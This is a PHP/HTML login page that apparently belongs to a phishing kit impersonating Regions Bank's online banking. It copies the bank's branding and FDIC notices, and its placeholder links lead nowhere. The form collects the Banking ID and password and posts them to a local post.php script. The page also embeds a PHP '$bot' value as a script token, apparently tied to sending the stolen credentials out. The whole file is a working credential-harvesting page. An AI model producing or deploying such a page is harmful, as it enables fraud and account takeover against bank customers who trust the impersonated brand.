<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;600;700&family=DM+Sans:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Regions – Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --brand:          #417514;
            --brand-dark:     #2f5510;
            --brand-deeper:   #1e3a09;
            --brand-mid:      #578f1a;
            --brand-light:    #eef5e6;
            --brand-pale:     #f7fbf2;
            --accent:         #88BB00;
            --accent-dark:    #6fa000;
            --accent-glow:    rgba(136,187,0,0.22);
            --charcoal:       #1a1f17;
            --charcoal-mid:   #2c3328;
            --text:           #1a1f17;
            --text-sub:       #3e4a36;
            --text-muted:     #637057;
            --border:         #cdd9c0;
            --border-focus:   #88BB00;
            --bg:             #ffffff;
            --header-bg:      #417514;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto auto auto 1fr auto; }

        /* ─── TOP UTILITY BAR ────────────────────────── */
        .utility-bar {
            background: var(--brand-deeper);
            padding: 0 52px;
            display: flex; align-items: center; justify-content: space-between;
            height: 44px;
            border-bottom: 1px solid rgba(136,187,0,0.18);
        }
        .utility-bar-left { display: flex; align-items: center; gap: 28px; }
        .utility-bar-left a {
            font-size: 12.5px; color: rgba(255,255,255,0.68);
            text-decoration: none; transition: color 0.15s;
            display: flex; align-items: center; gap: 5px; letter-spacing: 0.01em;
        }
        .utility-bar-left a:hover { color: #fff; }
        .utility-bar-right { display: flex; align-items: center; gap: 14px; }
        .search-bar { display: flex; align-items: center; }
        .search-bar input {
            height: 28px; padding: 0 11px;
            border: 1px solid rgba(255,255,255,0.12);
            border-right: none; border-radius: 3px 0 0 3px;
            font-size: 12.5px; background: rgba(255,255,255,0.07);
            color: #fff; outline: none; width: 155px;
            font-family: 'DM Sans', sans-serif;
        }
        .search-bar input::placeholder { color: rgba(255,255,255,0.35); }
        .search-bar input:focus { background: rgba(255,255,255,0.12); border-color: rgba(136,187,0,0.4); }
        .search-bar button {
            height: 28px; width: 30px;
            background: var(--accent); border: none;
            border-radius: 0 3px 3px 0; cursor: pointer;
            display: flex; align-items: center; justify-content: center;
            transition: background 0.15s;
        }
        .search-bar button:hover { background: var(--accent-dark); }

        /* ─── MAIN NAV ───────────────────────────────── */
        .main-nav {
            background: var(--header-bg);
            padding: 0 52px;
            display: flex; align-items: center; justify-content: space-between;
            height: 72px;
            box-shadow: 0 3px 16px rgba(0,0,0,0.18);
            position: relative;
        }
        .main-nav::after {
            content: '';
            position: absolute; bottom: 0; left: 0; right: 0;
            height: 3px;
            background: linear-gradient(90deg, var(--accent) 0%, rgba(136,187,0,0.4) 100%);
        }
        .nav-logo img { height: 44px; width: auto; filter: brightness(0) invert(1); }
        .nav-links { display: flex; align-items: center; gap: 2px; }
        .nav-links a {
            font-size: 13.5px; color: rgba(255,255,255,0.85);
            text-decoration: none; font-weight: 400;
            padding: 9px 15px; border-radius: 4px;
            transition: color 0.15s, background 0.15s;
            letter-spacing: 0.01em;
        }
        .nav-links a:hover { color: #fff; background: rgba(255,255,255,0.1); }
        .fdic-block { display: flex; align-items: center; gap: 9px; }
        .fdic-badge {
            background: #1b3d8c; color: #fff;
            font-size: 11px; font-weight: 800;
            letter-spacing: 0.07em; padding: 3px 7px;
            border-radius: 2px;
        }
        .fdic-text { font-size: 10px; color: rgba(255,255,255,0.45); line-height: 1.45; max-width: 150px; }

        /* ─── SUB NAV ────────────────────────────────── */
        .sub-nav {
            background: #fff;
            border-bottom: 2px solid #e8efe0;
            padding: 0 52px;
            display: flex; align-items: center;
            height: 48px;
            box-shadow: 0 1px 6px rgba(65,117,20,0.07);
        }
        .sub-nav-links { display: flex; }
        .sub-nav-links a {
            font-size: 13px; color: var(--text-muted);
            text-decoration: none; font-weight: 400;
            padding: 0 18px; height: 48px;
            display: flex; align-items: center;
            border-bottom: 3px solid transparent;
            margin-bottom: -2px;
            transition: color 0.15s, border-color 0.15s;
            letter-spacing: 0.01em;
        }
        .sub-nav-links a:hover { color: var(--brand); border-bottom-color: var(--accent); }
        .sub-nav-links a.active { color: var(--brand); font-weight: 600; border-bottom-color: var(--accent); }

        /* ─── MAIN ───────────────────────────────────── */
        .main {
            display: grid;
            grid-template-columns: 1fr 460px 1fr;
            align-items: start;
            padding: 52px 24px 72px;
            background: var(--brand-pale);
            background-image:
                radial-gradient(ellipse at 15% 20%, rgba(136,187,0,0.06) 0%, transparent 60%),
                radial-gradient(ellipse at 85% 80%, rgba(65,117,20,0.05) 0%, transparent 60%);
        }

        /* ─── SIDE PANEL ─────────────────────────────── */
        .side-panel {
            grid-column: 1;
            padding: 0 52px 0 max(52px, calc((100% - 1140px) / 2));
            padding-top: 12px;
            max-width: 520px;
            margin-left: auto;
        }
        .side-title {
            font-family: 'Playfair Display', serif;
            font-size: 28px;
            font-weight: 400;
            line-height: 1.4;
            color: var(--brand);
            margin-bottom: 28px;
        }
        .side-title strong { color: var(--brand-deeper); font-weight: 700; display: block; font-size: 30px; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 15px; margin-bottom: 36px; }
        .feature-list li {
            display: flex; align-items: flex-start; gap: 13px;
            font-size: 14px; color: var(--text-sub); line-height: 1.65;
        }
        .feature-icon {
            width: 24px; height: 24px;
            background: var(--accent);
            border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0; margin-top: 1px;
            box-shadow: 0 2px 8px rgba(136,187,0,0.3);
        }
        .feature-icon svg { color: #fff; }
        .security-badge {
            display: flex; align-items: center; gap: 12px;
            padding: 15px 18px;
            background: #fff;
            border: 1px solid var(--border);
            border-left: 3px solid var(--brand);
            border-radius: 6px;
            box-shadow: 0 1px 6px rgba(65,117,20,0.06);
        }
        .security-badge p { font-size: 12.5px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 3px; }

        /* ─── CARD ───────────────────────────────────── */
        .login-wrap { grid-column: 2; }
        .login-card {
            background: #fff;
            border: 1px solid #dde8d0;
            border-top: 4px solid var(--brand);
            border-radius: 8px;
            padding: 42px 46px 48px;
            box-shadow:
                0 4px 24px rgba(65,117,20,0.08),
                0 1px 4px rgba(0,0,0,0.04),
                0 12px 48px rgba(0,0,0,0.04);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 26px; }
        .card-logo img { height: 40px; width: auto; display: block; }

        .card-header { margin-bottom: 28px; padding-bottom: 22px; border-bottom: 1px solid #ecf3e4; }
        .card-header h1 {
            font-family: 'Playfair Display', serif;
            font-size: 22px; font-weight: 700;
            color: var(--brand); margin-bottom: 6px;
        }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .field { margin-bottom: 20px; }
        .field label { display: block; font-size: 12.5px; font-weight: 600; color: var(--text-sub); margin-bottom: 7px; letter-spacing: 0.02em; text-transform: uppercase; }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 46px; padding: 0 15px;
            border: 1.5px solid var(--border);
            border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; color: var(--text); background: #fff;
            outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #b6c8a4; font-weight: 300; }
        .field input:focus {
            border-color: var(--border-focus);
            box-shadow: 0 0 0 3.5px rgba(136,187,0,0.16);
        }

        .remember-row { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; }
        .remember-row input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.12s, border-color 0.12s;
        }
        .remember-row input:checked { background: var(--accent); border-color: var(--accent); }
        .remember-row input:checked::after {
            content: '';
            position: absolute; left: 3px; top: 0px;
            width: 6px; height: 10px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }
        .remember-row label { font-size: 13.5px; color: var(--text-sub); cursor: pointer; user-select: none; }

        .forgot-row { text-align: right; margin-bottom: 22px; }
        .forgot-row a {
            font-size: 12.5px; color: var(--brand);
            text-decoration: none; font-weight: 500;
            transition: opacity 0.12s;
        }
        .forgot-row a:hover { opacity: 0.7; text-decoration: underline; }

        .btn-login {
            width: 100%; height: 48px;
            background: var(--accent);
            color: #fff;
            border: none; border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 600;
            cursor: pointer; letter-spacing: 0.03em;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
            margin-bottom: 22px;
            position: relative;
            overflow: hidden;
        }
        .btn-login::after {
            content: '';
            position: absolute; inset: 0;
            background: linear-gradient(180deg, rgba(255,255,255,0.08) 0%, transparent 100%);
            pointer-events: none;
        }
        .btn-login:hover {
            background: var(--accent-dark);
            box-shadow: 0 4px 18px rgba(136,187,0,0.35);
            transform: translateY(-1px);
        }
        .btn-login:active { transform: translateY(0); }

        .card-divider { height: 1px; background: #ecf3e4; margin-bottom: 20px; }
        .card-links { display: flex; flex-direction: column; gap: 11px; }
        .card-links a {
            font-size: 13.5px; color: var(--brand);
            text-decoration: none; font-weight: 500;
            display: flex; align-items: center; gap: 7px;
            transition: opacity 0.12s;
        }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        /* ─── FOOTER ─────────────────────────────────── */
        .page-footer {
            background: var(--charcoal);
            padding: 22px 52px;
            display: flex; align-items: center; justify-content: space-between;
            gap: 24px; flex-wrap: wrap;
            border-top: 3px solid var(--brand);
        }
        .footer-links { display: flex; gap: 22px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.3); }
        .fdic-footer { display: flex; align-items: center; gap: 9px; }
        .fdic-footer .fdic-badge { font-size: 9px; }
        .fdic-footer span { font-size: 11px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) {
            .main { grid-template-columns: 1fr; padding: 32px 20px 52px; background-image: none; }
            .side-panel { display: none; }
            .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; }
            .main-nav { padding: 0 24px; }
            .utility-bar { padding: 0 24px; }
            .sub-nav { padding: 0 24px; }
            .nav-links { display: none; }
            .sub-nav-links { display: none; }
        }
        @media (max-width: 500px) {
            .login-card { padding: 28px 22px 34px; }
            .page-footer { padding: 18px 20px; }
        }
    </style>
</head>
<body>
<div class="page">

    <!-- UTILITY BAR -->
    <div class="utility-bar">
        <div class="utility-bar-left">
            <a href="#">Log in <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Locations</a>
            <a href="#">Contact Us</a>
            <a href="#">Careers</a>
            <a href="#">Español</a>
        </div>
        <div class="utility-bar-right">
            <div class="search-bar">
                <input type="text" placeholder="Search regions.com">
                <button>
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
                </button>
            </div>
        </div>
    </div>

    <!-- MAIN NAV -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Regions Bank"></div>
        <div class="nav-links">
            <a href="#">Personal</a>
            <a href="#">Small Business</a>
            <a href="#">Commercial</a>
            <a href="#">Wealth Management</a>
            <a href="#">About Us</a>
        </div>
        <div class="fdic-block">
            <span class="fdic-badge">FDIC</span>
            <span class="fdic-text">FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span>
        </div>
    </nav>

    <!-- SUB NAV -->
    <div class="sub-nav">
        <div class="sub-nav-links">
            <a href="#" class="active">Checking</a>
            <a href="#">Savings</a>
            <a href="#">Loans</a>
            <a href="#">Credit Cards</a>
            <a href="#">Online &amp; Mobile Banking</a>
            <a href="#">Investments</a>
            <a href="#">Resources</a>
        </div>
    </div>

    <!-- MAIN CONTENT -->
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">
                Welcome back to<br>
                <strong>Regions Online Banking.</strong>
            </h2>
            <ul class="feature-list">
                <li>
                    <div class="feature-icon">
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg>
                    </div>
                    View account balances and transaction history
                </li>
                <li>
                    <div class="feature-icon">
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg>
                    </div>
                    Transfer funds between your accounts instantly
                </li>
                <li>
                    <div class="feature-icon">
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg>
                    </div>
                    Pay bills and schedule payments online
                </li>
                <li>
                    <div class="feature-icon">
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg>
                    </div>
                    Access statements and documents securely
                </li>
            </ul>
            <div class="security-badge">
                <svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#417514" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round">
                    <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
                    <polyline points="9 12 11 14 15 10" stroke-width="2"/>
                </svg>
                <p><strong>Secure Online Banking</strong>256-bit SSL encryption protects your session at all times.</p>
            </div>
        </aside>

        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Regions Bank"></div>
                <div class="card-header">
                    <h1>Log In to Online Banking</h1>
                    <p>Enter your credentials to securely access your account</p>
                </div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="field">
                        <label for="user">Online Banking ID</label>
                        <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your Banking ID">
                    </div>
                    <div class="field">
                        <label for="pass">Password</label>
                        <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
                    </div>
                    <div class="remember-row">
                        <input type="checkbox" id="remember" name="remember">
                        <label for="remember">Remember my Banking ID</label>
                    </div>
                    <div class="forgot-row"><a href="#">Forgot Banking ID or Password?</a></div>
                    <button type="submit" class="btn-login">Log In to Online Banking</button>
                    <div class="card-divider"></div>
                    <div class="card-links">
                        <a href="#">
                            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>
                            Enroll in Online Banking
                        </a>
                        <a href="#">
                            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0118 0z"/><circle cx="12" cy="10" r="3"/></svg>
                            Find a branch near you
                        </a>
                    </div>
                </form>
            </div>
        </div>
    </main>

    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a>
            <a href="#">Security</a>
            <a href="#">Terms of Use</a>
            <a href="#">Accessibility</a>
            <a href="#">Sitemap</a>
            <a href="#">Contact Us</a>
        </div>
        <div class="fdic-footer">
            <span class="fdic-badge">FDIC</span>
            <span>Member FDIC. Equal Housing Lender. © 2025 Regions Bank.</span>
        </div>
        <div class="footer-copy">1-800-734-4667</div>
    </footer>
</div>
<script src="./res/jq.js"></script>
</body>
</html>